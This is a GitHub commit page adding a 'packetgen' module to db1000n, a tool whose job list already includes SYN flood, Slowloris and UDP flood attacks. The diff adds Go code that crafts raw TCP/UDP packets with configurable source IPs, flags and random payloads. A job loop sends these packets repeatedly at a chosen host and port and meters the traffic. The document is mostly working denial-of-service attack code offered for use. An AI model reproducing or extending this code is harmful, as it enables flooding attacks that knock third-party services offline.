Skip to content

Commit

Permalink
Merge pull request #31 from Arriven/add-packetgen
Browse files Browse the repository at this point in the history
Add packetgen
  • Loading branch information
arriven authored Feb 28, 2022
2 parents 984d52b + ae417f5 commit c434ea1
Show file tree
Hide file tree
Showing 5 changed files with 386 additions and 5 deletions.
59 changes: 54 additions & 5 deletions main.go
Original file line number Diff line number Diff line change
Expand Up @@ -15,6 +15,7 @@ import (
"net/http"
"net/url"
"os"
"strconv"
"strings"
"time"

Expand All @@ -23,6 +24,7 @@ import (

"github.com/Arriven/db1000n/logs"
"github.com/Arriven/db1000n/metrics"
"github.com/Arriven/db1000n/packetgen"
"github.com/Arriven/db1000n/slowloris"
"github.com/Arriven/db1000n/synfloodraw"
)
Expand All @@ -45,6 +47,7 @@ var jobs = map[string]job{
"udp": udpJob,
"syn-flood": synFloodJob,
"slow-loris": slowLoris,
"packetgen": packetgenJob,
}

// Config comment for linter
Expand Down Expand Up @@ -84,11 +87,16 @@ func parseByteTemplate(input []byte) []byte {

func parseStringTemplate(input string) string {
funcMap := template.FuncMap{
"random_uuid": randomUUID,
"random_int_n": rand.Intn,
"random_int": rand.Int,
"base64_encode": base64.StdEncoding.EncodeToString,
"base64_decode": base64.StdEncoding.DecodeString,
"random_uuid": randomUUID,
"random_int_n": rand.Intn,
"random_int": rand.Int,
"random_payload": packetgen.RandomPayload,
"random_ip": packetgen.RandomIP,
"random_port": packetgen.RandomPort,
"random_mac_addr": packetgen.RandomMacAddr,
"base64_encode": base64.StdEncoding.EncodeToString,
"base64_decode": base64.StdEncoding.DecodeString,
"json_encode": json.Marshal,
}
// TODO: consider adding ability to populate custom data
tmpl, err := template.New("test").Funcs(funcMap).Parse(input)
Expand Down Expand Up @@ -307,6 +315,47 @@ func slowLoris(ctx context.Context, l *logs.Logger, args JobArgs) error {
return slowloris.Start(l, jobConfig)
}

func packetgenJob(ctx context.Context, l *logs.Logger, args JobArgs) error {
type packetgenJobConfig struct {
BasicJobConfig
Packet json.RawMessage
Host string
Port string
}
var jobConfig packetgenJobConfig
err := json.Unmarshal(args, &jobConfig)
if err != nil {
l.Error("error parsing json: %v", err)
return err
}

host := parseStringTemplate(jobConfig.Host)
port, err := strconv.Atoi(parseStringTemplate(jobConfig.Port))
if err != nil {
l.Error("error parsing port: %v", err)
return err
}

trafficMonitor := metrics.Default.NewWriter(ctx, "traffic", uuid.New().String())

for jobConfig.Next(ctx) {
packetConfigBytes := parseByteTemplate(jobConfig.Packet)
var packetConfig packetgen.PacketConfig
err := json.Unmarshal(packetConfigBytes, &packetConfig)
if err != nil {
l.Error("error parsing json: %v", err)
return err
}
len, err := packetgen.SendPacket(packetConfig, host, port)
if err != nil {
l.Error("error sending packet: %v", err)
return err
}
trafficMonitor.Add(len)
}
return nil
}

func fetchConfig(configPath string) (*Config, error) {
var configBytes []byte
var err error
Expand Down
6 changes: 6 additions & 0 deletions packetgen/constants.go
Original file line number Diff line number Diff line change
@@ -0,0 +1,6 @@
package packetgen

const (
ipRegex = "^(([0-9]|[1-9][0-9]|1[0-9]{2}|2[0-4][0-9]|25[0-5])\\.){3}([0-9]|[1-9][0-9]|1[0-9]{2}|2[0-4][0-9]|25[0-5])$"
dnsRegex = "^(([a-zA-Z]|[a-zA-Z][a-zA-Z0-9\\-]*[a-zA-Z0-9])\\.)*([A-Za-z]|[A-Za-z][A-Za-z0-9\\-]*[A-Za-z0-9])$"
)
181 changes: 181 additions & 0 deletions packetgen/packetgen.go
Original file line number Diff line number Diff line change
@@ -0,0 +1,181 @@
package packetgen

import (
"net"

"github.com/google/gopacket"
"github.com/google/gopacket/layers"
"golang.org/x/net/ipv4"
)

type PacketConfig struct {
Ethernet EthernetPacketConfig
IP IPPacketConfig
TCP *TCPPacketConfig
UDP *UDPPacketConfig
Payload string
}

func SendPacket(c PacketConfig, destinationHost string, destinationPort int) (int, error) {
var (
ipHeader *ipv4.Header
packetConn net.PacketConn
rawConn *ipv4.RawConn
udpPacket *layers.UDP
tcpPacket *layers.TCP
err error
)
destinationHost, err = resolveHost(destinationHost)
if err != nil {
return 0, err
}

ipPacket := buildIpPacket(c.IP)
if c.UDP != nil {
udpPacket = buildUdpPacket(*c.UDP)
if err = udpPacket.SetNetworkLayerForChecksum(ipPacket); err != nil {
return 0, err
}
} else if c.TCP != nil {
tcpPacket = buildTcpPacket(*c.TCP)
if err = tcpPacket.SetNetworkLayerForChecksum(ipPacket); err != nil {
return 0, err
}
}

// Serialize. Note: we only serialize the TCP layer, because the
// socket we get with net.ListenPacket wraps our data in IPv4 packets
// already. We do still need the IP layer to compute checksums
// correctly, though.
ipHeaderBuf := gopacket.NewSerializeBuffer()
opts := gopacket.SerializeOptions{
FixLengths: true,
ComputeChecksums: true,
}

if err = ipPacket.SerializeTo(ipHeaderBuf, opts); err != nil {
return 0, err
}

if ipHeader, err = ipv4.ParseHeader(ipHeaderBuf.Bytes()); err != nil {
return 0, err
}

ethernetLayer := buildEthernetPacket(c.Ethernet)
payloadBuf := gopacket.NewSerializeBuffer()
pyl := gopacket.Payload(c.Payload)

if udpPacket != nil {
if err = gopacket.SerializeLayers(payloadBuf, opts, ethernetLayer, udpPacket, pyl); err != nil {
return 0, err
}

// XXX send packet
if packetConn, err = net.ListenPacket("ip4:udp", "0.0.0.0"); err != nil {
return 0, err
}
} else if tcpPacket != nil {
if err = gopacket.SerializeLayers(payloadBuf, opts, ethernetLayer, tcpPacket, pyl); err != nil {
return 0, err
}

// XXX send packet
if packetConn, err = net.ListenPacket("ip4:tcp", "0.0.0.0"); err != nil {
return 0, err
}
}

if rawConn, err = ipv4.NewRawConn(packetConn); err != nil {
return 0, err
}

if err = rawConn.WriteTo(ipHeader, payloadBuf.Bytes(), nil); err != nil {
return 0, err
}
return len(c.Payload), nil
}

type IPPacketConfig struct {
SrcIP string `json:"src_ip"`
DstIP string `json:"dst_ip"`
}

// buildIpPacket generates a layers.IPv4 and returns it with source IP address and destination IP address
func buildIpPacket(c IPPacketConfig) *layers.IPv4 {
return &layers.IPv4{
SrcIP: net.ParseIP(c.SrcIP).To4(),
DstIP: net.ParseIP(c.DstIP).To4(),
Version: 4,
Protocol: layers.IPProtocolTCP,
}
}

type UDPPacketConfig struct {
SrcPort int `json:"src_port,string"`
DstPort int `json:"dst_port,string"`
}

func buildUdpPacket(c UDPPacketConfig) *layers.UDP {
return &layers.UDP{
SrcPort: layers.UDPPort(c.SrcPort),
DstPort: layers.UDPPort(c.DstPort),
}
}

type TCPFlagsConfig struct {
SYN bool
ACK bool
FIN bool
RST bool
PSH bool
URG bool
ECE bool
CWR bool
NS bool
}

type TCPPacketConfig struct {
SrcPort int `json:"src_port,string"`
DstPort int `json:"dst_port,string"`
Seq uint32
Ack uint32
Window uint16
Urgent uint16
Flags TCPFlagsConfig
}

// buildTcpPacket generates a layers.TCP and returns it with source port and destination port
func buildTcpPacket(c TCPPacketConfig) *layers.TCP {
return &layers.TCP{
SrcPort: layers.TCPPort(c.SrcPort),
DstPort: layers.TCPPort(c.DstPort),
Window: c.Window,
Urgent: c.Urgent,
Seq: c.Seq,
Ack: c.Ack,
SYN: c.Flags.SYN,
ACK: c.Flags.ACK,
FIN: c.Flags.FIN,
RST: c.Flags.RST,
PSH: c.Flags.PSH,
URG: c.Flags.URG,
ECE: c.Flags.ECE,
CWR: c.Flags.CWR,
NS: c.Flags.NS,
}
}

type EthernetPacketConfig struct {
SrcMAC string `json:"src_mac"`
DstMAC string `json:"dst_mac"`
}

// buildEthernetPacket generates an layers.Ethernet and returns it with source MAC address and destination MAC address
func buildEthernetPacket(c EthernetPacketConfig) *layers.Ethernet {
srcMac := net.HardwareAddr(c.SrcMAC)
dstMac := net.HardwareAddr(c.DstMAC)
return &layers.Ethernet{
SrcMAC: net.HardwareAddr{srcMac[0], srcMac[1], srcMac[2], srcMac[3], srcMac[4], srcMac[5]},
DstMAC: net.HardwareAddr{dstMac[0], dstMac[1], dstMac[2], dstMac[3], dstMac[4], dstMac[5]},
}
}
Loading

0 comments on commit c434ea1

Please sign in to comment.